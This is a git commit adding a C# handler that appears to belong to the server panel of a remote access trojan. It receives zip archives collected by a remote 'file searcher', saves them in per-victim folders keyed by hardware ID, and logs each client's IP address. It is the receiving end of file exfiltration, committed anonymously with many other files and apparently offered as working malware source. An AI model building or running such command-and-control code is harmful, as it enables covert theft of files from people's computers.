This commit is contained in:
Anonymous
2023-07-29 23:37:10 +05:30
parent c6c629437c
commit 85f5411b6e
158 changed files with 220479 additions and 4 deletions

View File

@@ -0,0 +1,35 @@
using System;
using System.Drawing;
using System.IO;
using System.Threading.Tasks;
using System.Windows.Forms;
using MessagePackLib.MessagePack;
using Server.Connection;
namespace Server.Handle_Packet;
public class HandleFileSearcher
{
public async void SaveZipFile(Clients client, MsgPack unpack_msgpack)
{
try
{
string fullPath = Path.Combine(Application.StartupPath, "ClientsFolder", unpack_msgpack.ForcePathObject("Hwid").AsString, "FileSearcher");
if (!Directory.Exists(fullPath))
{
Directory.CreateDirectory(fullPath);
}
await Task.Run(delegate
{
byte[] asBytes = unpack_msgpack.ForcePathObject("ZipFile").GetAsBytes();
File.WriteAllBytes(fullPath + "//" + DateTime.Now.ToString("MM-dd-yyyy HH;mm;ss") + ".zip", asBytes);
});
new HandleLogs().Addmsg("Client " + client.Ip + " File Search successfile located @ ClientsFolder/" + unpack_msgpack.ForcePathObject("Hwid").AsString + "/FileSearcher", Color.Purple);
client.Disconnected();
}
catch (Exception ex)
{
new HandleLogs().Addmsg("File Search error " + ex.Message, Color.Red);
}
}
}